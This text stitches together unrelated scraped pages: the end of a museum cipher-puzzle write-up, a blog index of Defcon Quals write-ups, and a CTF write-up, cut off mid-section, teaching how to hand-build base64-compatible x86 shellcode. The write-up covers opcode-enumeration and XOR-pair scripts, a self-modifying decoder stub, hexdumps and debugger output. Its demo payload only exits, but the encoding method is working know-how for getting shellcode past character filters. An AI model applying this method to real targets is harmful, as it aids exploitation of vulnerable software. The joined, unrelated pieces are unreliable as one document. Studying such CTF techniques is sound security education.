    The funny thing is, the word was "seven", not "never", but the "e"s still matched!

    Challenge 4: Hacker of Design

    While researching some physics based penetration testing, you find this interesting diagram. You feel like you've seen this device before... maybe somewhere or on something in the Air and Space museum?

    The diagram reminded Eric of an engine he saw on an earlier visit, we found the artifact on the other side of the museum:

    Unfortunately there was no QR code so we decided to work on decoding the challenge to discover the location of the artifact.

    Now that we'd seen the hint on Challenge 2, we were more prepared for a diagram to help us! In this case, it was a drawing of an atom and the number "10". We concluded that the numbers probably referred to the atomic weight for elements on the periodic table, and converted them as such:

    10=>Ne
    74=>W
    ... and so on.

    After decoding the full string, we ended up with:

    new_plan_schwalbe

    We actually made a mistake in decoding the string, but managed to find it anyways thanks to search autocorrect. :)

    After searching for "schwalbe air and space", we found this article, which led us to the artifact: the Messerschmitt Me 262 A-1a Schwalbe (Swallow). The QR code scanned revealed the_swallow.

    Challenge 5: Hacker of Distance

    While at the bar, listening to some Dual Core, planning your next conference-fest with some fellow hackers, you find this interesting napkin. Your mind begins to wander. Why doesn't Dual Core have a GOLDEN RECORD?! Also, is this napkin trying to tell you something in a around-about way?

    The hidden text on this one was obvious… morse code! Typing the code into a phone (not fun!), we ended up with .- -.. .- ... - .-. .- .--. . .-. .- ... .--. . .-. .-, which translates to ADASTRAPERASPERA

    According to Google, that slogan is used by a thousand different organizations, none of which seemed to be space or air related. However, searching for "Golden Record Air and Space" returned several results for the Voyager space probe. We looked at our map and scurried to the exhibit on the other side of the museum:

    Once we made it to the exhibit finding the QR code was easy, scanning it revealed, the_princess_is_in_another_castle. The decoy flag!

    We tried searching keywords from the napkin but none of the results seemed promising. After a few frustrating minutes we saw the museum banquet director and asked him for help. He told us that the plane we were looking for was close to the start of the challenge, we made a dash for the first floor and found the correct Voyager exhibit:

    Scanning the QR code revealed the code, missing_canards.

    Challenge 6: Hacker of Guidance

    The sixth challenge gave us a map with some information:

    You have intercepted this map that appears to target something. The allies would really like to know the location of the target. Also, they'd like to know what on Earth is at that location.

    We immediately noticed the hex-encoded numbers on the left:

    35342e3133383835322c
    31332e373637373235
    

    Which translates to 54.138852,13.767725. We googled the coordinates, and it turned out to be a location in Germany: Flughafenring, 17449 Peenemünde, Germany.

    After many failed searches we tried "Peenemünde ww2 air and space", which led to a reference to the German V2 Rocket. Here is the exhibit and QR code:

    Scanning the QR code revealed aggregat_4, the formal name for the V-2 rocket.

    Challenge 7: Hacker of Coding

    This is an image with a cipher on the right:

    Your primary computer's 0.043MHz CPU is currently maxed out with other more important tasks, so converting all these books of source code to assembly is entirely up to you.

    On the chalkboard is a cipher:

    We couldn't remember what it was called, and ended up searching for "line dot cipher", which immediately identified it as a pigpen cipher. The pigpen cipher can be decoded with this graphic:

    Essentially, you find the shape containing the letter that corresponds to the shape in that graphic. So, the first letter is ">" on the chalkboard, which maps to 'T'. The second is the upper three quarters of a square, which matches up with 'H', and the third is a square, which matches to E. And so on.

    Initially we found a version that didn't map to the proper English characters, and translated it to:

    Later, we did it right and found the text "THE BEST SHIP TO COME DOWN THE LINE"

    To find the artifact, we googled "0.043MHz", and immediately discovered it was "Apollo 11".

    The QR code scanned to the_eleventh_apollo

    And that's it!

    And that's the end of the cipher portion of the challenge! We were first place by only a few minutes. :)

    The last part of the challenge involved throwing wood airplanes. Because our plane didn't go backwards, it wasn't the worst, but it's nothing to write home about!

    But in the end, it was a really cool way to see a bunch of artifacts and also break some codes!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### #####EOF##### #####EOF##### Defcon Quals 2014 » SkullSecurity

    Defcon Quals writeup for byhd (reversing a Huffman Tree)

    This is my writeup for byhd, a 2-point challenge from the Defcon Qualifier CTF. You can get the files, including my annotated assembly file, here. This is my second (and final) writeup for the Defcon Qualifiers, you can find the writeup for shitsco here. This was a reverse engineering challenge where code would be constructed […]

    Defcon Quals writeup for Shitsco (use-after-free vuln)

    Hey folks, Apparently this blog has become a CTF writeup blog! Hopefully you don't mind, I still try to keep all my posts educational. Anyway, this is the first of two writeups for the Defcon CTF Qualifiers (2014). I only completed two levels, both of which were binary reversing/exploitation! This particular level was called "shitsco", […]

    #####EOF##### Solving b-64-b-tuff: writing base64 and alphanumeric shellcode » SkullSecurity


    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody,

    A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

    The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

    In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

    I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)

    Intro to Shellcode

    I don't want to dwell too much on the basics, so I highly recommend reading PRIMER.md, which is a primer on assembly code and shellcode that I recently wrote for a workshop I taught.

    The idea behind the challenge is that you send the server arbitrary binary data. That data would be encoded into base64, then the base64 string was run as if it were machine code. That means that your machine code had to be made up of characters in the set [a-zA-Z0-9+/]. You could also have an equal sign ("=") or two on the end, but that's not really useful.

    We're going to mostly focus on how to write base64-compatible shellcode, then bring it back to the challenge at the very end.

    Assembly instructions

    Since each assembly instruction has a 1:1 relationship to the machine code it generates, it'd be helpful to us to get a list of all instructions we have available that stay within the base64 character set.

    To get an idea of which instructions are available, I wrote a quick Ruby script that would attempt to disassemble every possible combination of two characters followed by some static data.

    I originally did this by scripting out to ndisasm on the commandline, a tool that we'll see used throughout this blog, but I didn't keep that code. Instead, I'm going to use the Crabstone Disassembler, which is Ruby bindings for Capstone:

    require 'crabstone'
    
    # Our set of known characters
    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    
    # Create an instance of the Crabstone Disassembler for 32-bit x86
    cs = Crabstone::Disassembler.new(Crabstone::ARCH_X86, Crabstone::MODE_32)
    
    # Get every 2-character combination
    SET.chars.each do |c1|
      SET.chars.each do |c2|
        # Pad it out pretty far with obvious no-op-ish instructions
        data = c1 + c2 + ("A" * 14)
    
        # Disassemble it and get the first instruction (we only care about the
        # shortest instructions we can form)
        instruction = cs.disasm(data, 0)[0]
    
        puts "%s     %s %s" % [
          instruction.bytes.map() { |b| '%02x' % b }.join(' '),
          instruction.mnemonic.to_s,
          instruction.op_str.to_s
        ]
      end
    end
    

    I'd probably do it considerably more tersely in irb if I was actually solving a challenge rather than writing a blog, but you get the idea. :)

    Anyway, running that produces quite a lot of output. We can feed it through sort + uniq to get a much shorter version.

    From there, I manually went through the full 2000+ element list to figure out what might actually be useful (since the vast majority were basically identical, that's easier than it sounds). I moved all the good stuff to the top and got rid of the stuff that's useless for writing a decoder stub. That left me with this list. I left in a bunch of stuff (like multiply instructions) that probably wouldn't be useful, but that I didn't want to completely discount.

    Dealing with a limited character set

    When you write shellcode, there are a few things you have to do. At a minimum, you almost always have to change registers to fairly arbitrary values (like a command to execute, a file to read/write, etc) and make syscalls ("int 0x80" in assembly or "\xcd\x80" in machine code; we'll see how that winds up being the most problematic piece!).

    For the purposes of this blog, we're going to have 12 bytes of shellcode: a simple call to the sys_exit() syscall, with a return code of 0x41414141. The reason is, it demonstrates all the fundamental concepts (setting variables and making syscalls), and is easy to verify as correct using strace

    Here's the shellcode we're going to be working with:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    We'll be using this code throughout, so make sure you have a pretty good grasp of it! It assembles to (on Ubuntu, if this fails, try apt-get install nasm):

    $ echo -e 'bits 32\n\nmov eax, 0x01\nmov ebx, 0x41414141\nint 0x80\n' > file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |............|
    

    If you want to try running it, you can use my run_raw_code.c utility (there are plenty just like it):

    $ strace ./run_raw_code file
    [...]
    read(3, "\270\1\0\0\0\273AAAA\315\200", 12) = 12
    exit(1094795585)                        = ?
    

    The read() call is where the run_raw_code stub is reading the shellcode file. The 1094795585 in exit() is the 0x41414141 that we gave it. We're going to see that value again and again and again, as we evaluate the correctness of our code, so get used to it!

    You can also prove that it disassembles properly, and see what each line becomes using the ndisasm utility (this is part of the nasm package):

    $ ndisasm -b32 file
    00000000  B801000000        mov eax,0x1
    00000005  BB41414141        mov ebx,0x41414141
    0000000A  CD80              int 0x80
    

    Easy stuff: NUL byte restrictions

    Let's take a quick look at a simple character restriction: NUL bytes. It's commonly seen because NUL bytes represent string terminators. Functions like strcpy() stop copying when they reach a NUL. Unlike base64, this can be done by hand!

    It's usually pretty straight forward to get rid of NUL bytes by just looking at where they appear and fixing them; it's almost always the case that it's caused by 32-bit moves or values, so we can just switch to 8-bit moves (using eax is 32 bits; using al, the last byte of eax, is 8 bits):

    xor eax, eax ; Set eax to 0
    inc eax ; Increment eax (set it to 1) - could also use "mov al, 1", but that's one byte longer
    mov ebx, 0x41414141 ; Set ebx to the usual value, no NUL bytes here
    int 0x80 ; Perform the syscall
    

    We can prove this works, as well (I'm going to stop showing the echo as code gets more complex, but I use file.asm throughout):

    $ echo -e 'bits 32\n\nxor eax, eax\ninc eax\nmov ebx, 0x41414141\nint 0x80\n'> file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  31 c0 40 bb 41 41 41 41  cd 80                    |1.@.AAAA..|
    

    Simple!

    Clearing eax in base64

    Something else to note: our shellcode is now largely base64! Let's look at the disassembled version so we can see where the problems are:

    $ ndisasm -b32 file                               65 [11:16:34]
    00000000  31C0              xor eax,eax
    00000002  40                inc eax
    00000003  BB41414141        mov ebx,0x41414141
    00000008  CD80              int 0x80
    

    Okay, maybe we aren't so close: the only line that's actually compatible is "inc eax". I guess we can start the long journey!

    Let's start by looking at how we can clear eax using our instruction set. We have a few promising instructions for changing eax, but these are the ones I like best:

    • 35 ?? ?? ?? ?? xor eax,0x????????
    • 68 ?? ?? ?? ?? push dword 0x????????
    • 58 pop eax

    Let's start with the most naive approach:

    push 0
    pop eax
    

    If we assemble that, we get:

    00000000  6A00              push byte +0x0
    00000002  58                pop eax
    

    Close! But because we're pushing 0, we end up with a NUL byte. So let's push something else:

    push 0x41414141
    pop eax
    

    If we look at how that assembles, we get:

    00000000  68 41 41 41 41 58                                 |hAAAAX|
    

    Not only is it all Base64 compatible now, it also spells "hAAAAX", which is a fun coincidence. :)

    The problem is, eax doesn't end up as 0, it's 0x41414141. You can verify this by adding "int 3" at the bottom, dumping a corefile, and loading it in gdb (feel free to use this trick throughout if you're following along, I'm using it constantly to verify my code snippings, but I'll only show it when the values are important):

    $ ulimit -c unlimited
    $ rm core
    $ cat file.asm
    bits 32
    
    push 0x41414141
    pop eax
    int 3
    $ nasm -o file file.asm
    $ ./run_raw_code ./file
    allocated 8 bytes of executable memory at: 0x41410000
    fish: “./run_raw_code ./file” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Core was generated by `./run_raw_code ./file`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410008 in ?? ()
    (gdb) print/x $eax
    $1 = 0x41414141
    

    Anyway, if we don't like the value, we can xor a value with eax, provided that the value is also base64-compatible! So let's do that:

    push 0x41414141
    pop eax
    xor eax, 0x41414141
    

    Which assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41                 |hAAAAX5AAAA|

    All right! You can verify using the debugger that, at the end, eax is, indeed, 0.

    Encoding an arbitrary value in eax

    If we can set eax to 0, does that mean we can set it to anything?

    Since xor works at the byte level, the better question is: can you xor two base-64-compatible bytes together, and wind up with any byte?

    Turns out, the answer is no. Not quite. Let's look at why!

    We'll start by trying a pure bruteforce (this code is essentially from my solution):

    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    def find_bytes(b)
      SET.bytes.each do |b1|
        SET.bytes.each do |b2|
          if((b1 ^ b2) == b)
            return [b1, b2]
          end
        end
      end
      puts("Error: Couldn't encode 0x%02x!" % b)
      return nil
    end
    
    0.upto(255) do |i|
      puts("%x => %s" % [i, find_bytes(i)])
    end
    

    The full output is here, but the summary is:

    0 => [65, 65]
    1 => [66, 67]
    2 => [65, 67]
    3 => [65, 66]
    ...
    7d => [68, 57]
    7e => [70, 56]
    7f => [70, 57]
    Error: Couldn't encode 0x80!
    80 =>
    Error: Couldn't encode 0x81!
    81 =>
    Error: Couldn't encode 0x82!
    82 =>
    ...
    

    Basically, we can encode any value that doesn't have the most-significant bit set (ie, anything under 0x80). That's going to be a problem that we'll deal with much, much later.

    Since many of our instructions operate on 4-byte values, not 1-byte values, we want to operate in 4-byte chunks. Fortunately, xor is byte-by-byte, so we just need to treat it as four individual bytes:

    def get_xor_values_32(desired)
      # Convert the integer into a string (pack()), then into the four bytes
      b1, b2, b3, b4 = [desired].pack('N').bytes()
    
      v1 = find_bytes(b1)
      v2 = find_bytes(b2)
      v3 = find_bytes(b3)
      v4 = find_bytes(b4)
    
      # Convert both sets of xor values back into integers
      result = [
        [v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(),
        [v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(),
      ]
    
    
      # Note: I comment these out for many of the examples, simply for brevity
      puts '0x%08x' % result[0]
      puts '0x%08x' % result[1]
      puts('----------')
      puts('0x%08x' % (result[0] ^ result[1]))
      puts()
    
      return result
    end
    

    This function takes a single 32-bit value and it outputs the two xor values (note that this won't work when the most significant bit is set.. stay tuned for that!):

    irb(main):039:0> get_xor_values_32(0x01020304)
    0x42414141
    0x43434245
    ----------
    0x01020304
    
    => [1111572801, 1128481349]
    
    irb(main):040:0> get_xor_values_32(0x41414141)
    0x6a6a6a6a
    0x2b2b2b2b
    ----------
    0x41414141
    
    => [1785358954, 724249387]
    

    And so on.

    So if we want to set eax to 0x00000001 (for the sys_exit syscall), we can simply feed it into this code and convert it to assembly:

    get_xor_values_32(0x01)
    0x41414142
    0x41414143
    ----------
    0x00000001
    
    => [1094795586, 1094795587]
    

    Then write the shellcode:

    push 0x41414142
    pop eax
    xor eax, 0x41414143
    

    And prove to ourselves that it's base-64-compatible; I believe in doing this, because every once in awhile an instruction like "inc eax" (which becomes '@') will slip in when I'm not paying attention:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41                 |hBAAAX5CAAA|
    

    We'll be using that exact pattern a lot - push (value) / pop eax / xor eax, (other value). It's the most fundamental building block of this project!

    Setting other registers

    Sadly, unless I missed something, there's no easy way to set other registers. We can increment or decrement them, and we can pop values off the stack into some of them, but we don't have the ability to xor, mov, or anything else useful!

    There are basically three registers that we have easy access to:

    • 58 pop eax
    • 59 pop ecx
    • 5A pop edx

    So to set ecx to an arbitrary value, we can do it via eax:

    push 0x41414142
    pop eax
    xor eax, 0x41414143 ; eax -> 1
    push eax
    pop ecx ; ecx -> 1
    

    Then verify the base64-ness:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 59           |hBAAAX5CAAAPY|
    

    Unfortunately, if we try the same thing with ebx, we hit a non-base64 character:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 5b           |hBAAAX5CAAAP[|
    

    Note the "[" at the end - that's not in our character set! So we're pretty much limited to using eax, ecx, and edx for most things.

    But wait, there's more! We do, however, have access to popad. The popad instruction pops the next 8 things off the stack and puts them in all 8 registers. It's a bit of a scorched-earth method, though, because it overwrites all registers. We're going to use it at the start of our code to zero-out all the registers.

    Let's try to convert our exit shellcode from earlier:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Into something that's base-64 friendly:

    ; We'll start by populating the stack with 0x41414141's
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    
    ; Then popad to set all the registers to 0x41414141
    popad
    
    ; Then set eax to 1
    push 0x41414142
    pop eax
    xor eax, 0x41414143
    
    ; Finally, do our syscall (as usual, we're going to ignore the fact that the syscall isn't base64 compatible)
    int 0x80
    

    Prove that it uses only base64 characters (except the syscall):

    $ hexdump -C file
    00000000  68 41 41 41 41 68 41 41  41 41 68 41 41 41 41 68  |hAAAAhAAAAhAAAAh|
    00000010  41 41 41 41 68 41 41 41  41 68 41 41 41 41 68 41  |AAAAhAAAAhAAAAhA|
    00000020  41 41 41 68 41 41 41 41  61 68 42 41 41 41 58 35  |AAAhAAAAahBAAAX5|
    00000030  43 41 41 41 cd 80                                 |CAAA..|
    

    And prove that it still works:

    $ strace ./run_raw_code ./file
    ...
    read(3, "hAAAAhAAAAhAAAAhAAAAhAAAAhAAAAhA"..., 54) = 54
    exit(1094795585)                        = ?
    

    Encoding the actual code

    You've probably noticed by now: this is a lot of work. Especially if you want to set each register to a different non-base64-compatible value! You have to encode each value by hand, making sure you set eax last (because it's our working register). And what if you need an instruction (like add, or shift) that isn't available? Do we just simulate it?

    As I'm sure you've noticed, the machine code is just a bunch of bytes. What's stopping us from simply encoding the machine code rather than just values?

    Let's take our original example of an exit again:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Because 'mov' assembles to 0xb8XXXXXX, I don't want to deal with that yet (the most-significant bit is set). So let's change it a bit to keep each byte (besides the syscall) under 0x80:

    00000000  6A01              push byte +0x1
    00000002  58                pop eax
    00000003  6841414141        push dword 0x41414141
    00000008  5B                pop ebx
    

    Or, as a string of bytes:

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b"

    Let's pad that to a multiple of 4 so we can encode in 4-byte chunks (we pad with 'A', because it's as good a character as any):

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b\x41\x41\x41"

    then break that string into 4-byte chunks, encoding as little endian (reverse byte order):

    • 6a 01 58 68 -> 0x6858016a
    • 41 41 41 41 -> 0x41414141
    • 5b 41 41 41 -> 0x4141415b

    Then run each of those values through our get_xor_values_32() function from earlier:

    irb(main):047:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x6858016a)
    0x43614241 ^ 0x2b39432b
    
    irb(main):048:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41414141)
    0x6a6a6a6a ^ 0x2b2b2b2b
    
    irb(main):050:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x4141415b)
    0x6a6a6a62 ^ 0x2b2b2b39
    

    Let's start our decoder by simply calculating each of these values in eax, just to prove that they're all base64-compatible (note that we are simply discarding the values in this example, we aren't doing anything with them quite yet):

    push 0x43614241
    pop eax
    xor eax, 0x2b39432b ; 0x6858016a
    
    push 0x6a6a6a6a
    pop eax
    xor eax, 0x2b2b2b2b ; 0x41414141
    
    push 0x6a6a6a62
    pop eax
    xor eax, 0x2b2b2b39 ; 0x4141415b
    

    Which assembles to:

    $ hexdump -Cv file
    00000000  68 41 42 61 43 58 35 2b  43 39 2b 68 6a 6a 6a 6a  |hABaCX5+C9+hjjjj|
    00000010  58 35 2b 2b 2b 2b 68 62  6a 6a 6a 58 35 39 2b 2b  |X5++++hbjjjX59++|
    00000020  2b                                                |+|
    

    Looking good so far!

    Decoder stub

    Okay, we've proven that we can encode instructions (without the most significant bit set)! Now we actually want to run it!

    Basically: our shellcode is going to start with a decoder, followed by a bunch of encoded bytes. We'll also throw some padding in between to make this easier to do by hand. The entire decoder has to be made up of base64-compatible bytes, but the encoded payload (ie, the shellcode) has no restrictions.

    So now we actually want to alter the shellcode in memory (self-rewriting code!). We need an instruction to do that, so let's look back at the list of available instructions! After some searching, I found one that's promising:

    3151??            xor [ecx+0x??],edx
    

    This command xors the 32-bit value at memory address ecx+0x?? with edx. We know we can easily control ecx (push (value) / pop eax / xor (other value) / push eax / pop ecx) and, similarly edx. Since the "0x??" value has to also be a base64 character, we'll follow our trend and use [ecx+0x41], which gives us:

    315141            xor [ecx+0x41],edx
    

    Once I found that command, things started coming together! Since I can control eax, ecx, and edx pretty cleanly, that's basically the perfect instruction to decode our shellcode in-memory!

    This is somewhat complex, so let's start by looking at the steps involved:

    • Load the encoded shellcode (half of the xor pair, ie, the return value from get_xor_values_32()) into a known memory address (in our case, it's going to be 0x141 bytes after the start of our code)
    • Set ecx to the value that's 0x41 bytes before that encoded shellcode (0x100)
    • For each 32-bit pair in the encoded shellcode...
      • Load the other half of the xor pair into edx
      • Do the xor to alter it in-memory (ie, decode it back to the original, unencoded value)
      • Increment ecx to point at the next value
      • Repeat for the full payload
    • Run the newly decoded payload

    For the sake of our sanity, we're going to make some assumptions in the code: first, our code is loaded to the address 0x41410000 (which it is, for this challenge). Second, the decoder stub is exactly 0x141 bytes long (we will pad it to get there). Either of these can be easily worked around, but it's not necessary to do the extra work in order to grok the decoder concept.

    Recall that for our sys_exit shellcode, the xor pairs we determined were: 0x43614241 ^ 0x2b39432b, 0x6a6a6a6a ^ 0x2b2b2b2b, and 0x6a6a6a62 ^ 0x2b2b2b39.

    Here's the code:

    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; eax -> 0x41410100
    push eax
    pop ecx ; ecx -> 0x41410100
    
    ; Set edx to the first value in the first xor pair
    push 0x43614241
    pop edx
    
    ; xor it with the second value in the first xor pair (which is at ecx + 0x41)
    xor [ecx+0x41], edx
    
    ; Move ecx to the next 32-bit value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the second xor pair
    push 0x6a6a6a6a
    pop edx
    
    ; xor + increment ecx again
    xor [ecx+0x41], edx
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the third and final xor pair, and xor it
    push 0x6a6a6a62
    pop edx
    xor [ecx+0x41], edx
    
    ; At this point, I assembled the code and counted the bytes; we have exactly 0x30 bytes of code so far. That means to get our encoded shellcode to exactly 0x141 bytes after the start, we need 0x111 bytes of padding ('A' translates to inc ecx, so it's effectively a no-op because the encoded shellcode doesn't care what ecx starts as):
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAA'
    
    ; Now, the second halves of our xor pairs; this is what gets modified in-place
    dd 0x2b39432b
    dd 0x2b2b2b2b
    dd 0x2b2b2b39
    
    ; And finally, we're going to cheat and just do a syscall that's non-base64-compatible
    int 0x80
    

    All right! Here's what it gives us; note that other than the syscall at the end (we'll get to that, I promise!), it's all base64:

    $ hexdump -Cv file
    00000000  68 41 42 6a 6a 58 35 41  43 2b 2b 50 59 68 41 42  |hABjjX5AC++PYhAB|
    00000010  61 43 5a 31 51 41 41 41  41 41 68 6a 6a 6a 6a 5a  |aCZ1QAAAAAhjjjjZ|
    00000020  31 51 41 41 41 41 41 68  62 6a 6a 6a 5a 31 51 41  |1QAAAAAhbjjjZ1QA|
    00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000080  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000090  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000a0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000b0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000c0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000d0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000e0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000f0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000110  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000120  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000130  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000140  41 2b 43 39 2b 2b 2b 2b  2b 39 2b 2b 2b cd 80     |A+C9+++++9+++..|
    

    To run this, we have to patch run_raw_code.c to load the code to the correct address:

    diff --git a/forensics/ximage/solution/run_raw_code.c b/forensics/ximage/solution/run_raw_code.c
    index 9eadd5e..1ad83f1 100644
    --- a/forensics/ximage/solution/run_raw_code.c
    +++ b/forensics/ximage/solution/run_raw_code.c
    @@ -12,7 +12,7 @@ int main(int argc, char *argv[]){
         exit(0);
       }
    
    -  void * a = mmap(0, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    +  void * a = mmap(0x41410000, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
       printf("allocated %d bytes of executable memory at: %p\n", statbuf.st_size, a);
    
       FILE *file = fopen(argv[1], "rb");
    

    You'll also have to compile it in 32-bit mode:

    $ gcc -m32 -o run_raw_code run_raw_code.c
    

    Once that's done, give 'er a shot:

    $ strace ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    [...]
    read(3, "hABjjX5AC++PYhABaCZ1QAAAAAhjjjjZ"..., 335) = 335
    exit(1094795585)                        = ?
    

    We did it, team!

    If we want to actually inspect the code, we can change the very last padding 'A' into 0xcc (aka, int 3, or a SIGTRAP):

    $ diff -u file.asm file-trap.asm
    --- file.asm    2017-06-11 13:17:57.766651742 -0700
    +++ file-trap.asm       2017-06-11 13:17:46.086525100 -0700
    @@ -45,7 +45,7 @@
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    -db 'AAAAAAAAAAAAAAAAA'
    +db 'AAAAAAAAAAAAAAAA', 0xcc
    
     ; Now, the second halves of our xor pairs
     dd 0x2b39432b
    

    And run it with corefiles enabled:

    $ nasm -o file file.asm
    $ ulimit -c unlimited
    $ ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    allocated 335 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./core
    Core was generated by `/home/ron/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./fi`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410141 in ?? ()
    (gdb) x/10i $eip
    => 0x41410141:  push   0x1
       0x41410143:  pop    eax
       0x41410144:  push   0x41414141
       0x41410149:  pop    ebx
       0x4141014a:  inc    ecx
       0x4141014b:  inc    ecx
       0x4141014c:  inc    ecx
       0x4141014d:  int    0x80
       0x4141014f:  add    BYTE PTR [eax],al
       0x41410151:  add    BYTE PTR [eax],al
    

    As you can see, our original shellcode is properly decoded! (The inc ecx instructions you're seeing is our padding.)

    The decoder stub and encoded shellcode can be quite easily generated programmatically rather than doing it by hand, which is extremely error prone (it took me 4 tries to get it right - I messed up the start address, I compiled run_raw_code in 64-bit mode, and I got the endianness backwards before I finally got it right, which doesn't sound so bad, except that I had to go back and re-write part of this section and re-run most of the commands to get the proper output each time :) ).

    That pesky most-significant-bit

    So, I've been avoiding this, because I don't think I solved it in a very elegant way. But, my solution works, so I guess that's something. :)

    As usual, we start by looking at our set of available instructions to see what we can use to set the most significant bit (let's start calling it the "MSB" to save my fingers).

    Unfortunately, the easy stuff can't help us; xor can only set it if it's already set somewhere, we don't have any shift instructions, inc would take forever, and the subtract and multiply instructions could probably work, but it would be tricky.

    Let's start with a simple case: can we set edx to 0x80?

    First, let's set edx to the highest value we can, 0x7F (we choose edx because a) it's one of the three registers we can easily pop into; b) eax is our working variable since it's the only one we can xor; and c) we don't want to change ecx once we start going, since it points to the memory we're decoding):

    irb(main):057:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x0000007F)
    0x41414146 ^ 0x41414139
    

    Using those values and our old push / pop / xor pattern, we can set edx to 0x80:

    push 0x41414146
    pop eax
